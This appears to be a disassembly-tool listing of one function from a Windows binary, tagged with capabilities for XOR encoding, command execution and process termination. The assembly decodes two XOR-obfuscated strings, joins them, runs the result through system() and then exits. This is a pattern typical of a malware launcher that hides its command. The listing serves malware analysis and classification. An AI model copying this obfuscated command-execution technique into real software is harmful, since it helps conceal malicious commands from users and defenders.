Function at 0x48df40
Capabilities:
Encode data using xor
Execute command
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5fcd3b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xf8
push esi
push edi
mov eax, dword [0x686bb0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0xac]
mov dword [ebp - 4], 0
push eax
call fcn.0048e380
mov esi, dword [0x6d3fec]
mov edi, eax
mov eax, 5
cmp byte [edi + 0x1a], 0
lea edx, [eax + 0x1a]
je 0x48e135
xor ecx, ecx
mov dword [ebp - 0x14], ecx
cmp esi, 2
jl 0x48e100
movaps xmm0, xmmword [str.6666666666666666]
mov esi, 4
movaps xmm4, xmmword [0x677150]
sub esi, edi
movaps xmm3, xmmword [0x6774e0]
movaps xmm6, xmmword [0x677180]
movaps xmmword [ebp - 0x30], xmm0
movd xmm5, eax
mov eax, dword [ebp - 0x30]
movd xmm7, edx
mov edx, edi
nop dword [eax]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6771e0]
packuswb xmm1, xmm1
movd xmm0, eax
lea eax, [esi + edx]
lea edx, [edx + 8]
paddb xmm1, xmm0
movd xmm0, dword [edx - 8]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [edx - 8], xmm1
paddd xmm2, xmm4
mov eax, dword [ebp - 0x30]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6771e0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edx - 4]
pxor xmm1, xmm0
movd dword [edx - 4], xmm1
cmp ecx, 0x18
jl 0x48dff0
mov dword [ebp - 0x14], ecx
cmp ecx, 0x1b
jge 0x48e12f
nop dword [eax]
mov eax, 0x8d3dcb09
lea esi, [ecx + edi]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [esi], cl
mov ecx, dword [ebp - 0x14]
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x1b
jl 0x48e100
mov esi, dword [0x6d3fec]
push edi
lea ecx, [ebp - 0x90]
call fcn.00499510
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.00499360
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x108]
push eax
call fcn.0048e360
mov edi, eax
cmp byte [edi + 0x56], 0
je 0x48e2e1
xor ecx, ecx
cmp esi, 2
jl 0x48e2b6
movaps xmm0, xmmword [str.6666666666666666]
mov eax, 5
movaps xmm4, xmmword [0x677150]
mov esi, 4
movaps xmm3, xmmword [0x6774e0]
mov edx, edi
movaps xmm6, xmmword [0x677180]
sub esi, edi
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
movd xmm7, eax
mov eax, dword [ebp - 0x30]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6771e0]
packuswb xmm1, xmm1
movd xmm0, eax
lea eax, [esi + edx]
lea edx, [edx + 8]
paddb xmm1, xmm0
movd xmm0, dword [edx - 8]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [edx - 8], xmm1
paddd xmm2, xmm4
mov eax, dword [ebp - 0x30]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6771e0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edx - 4]
pxor xmm1, xmm0
movd dword [edx - 4], xmm1
cmp ecx, 0x50
jl 0x48e1b0
cmp ecx, 0x57
jge 0x48e2e1
mov eax, 0x8d3dcb09
lea esi, [ecx + edi]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, cl
movsx eax, al
inc ecx
imul eax, eax, 0x3a
sub dl, al
add dl, 0x36
xor byte [esi], dl
cmp ecx, 0x57
jl 0x48e2b6
push edi
lea ecx, [ebp - 0x78]
call fcn.00499510
lea ecx, [ebx + 8]
mov byte [ebp - 4], 2
push ecx
mov ecx, eax
call fcn.00499360
push eax
lea eax, [ebp - 0x60]
push eax
call fcn.0049b8c0
push dword [ebp - 0x14]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0049b870
add esp, 0x18
mov ecx, eax
call fcn.00499360
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x48]
call fcn.004994c0
lea ecx, [ebp - 0x60]
call fcn.004994c0
lea ecx, [ebp - 0x78]
call fcn.004994c0
lea ecx, [ebp - 0x90]
call fcn.004994c0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]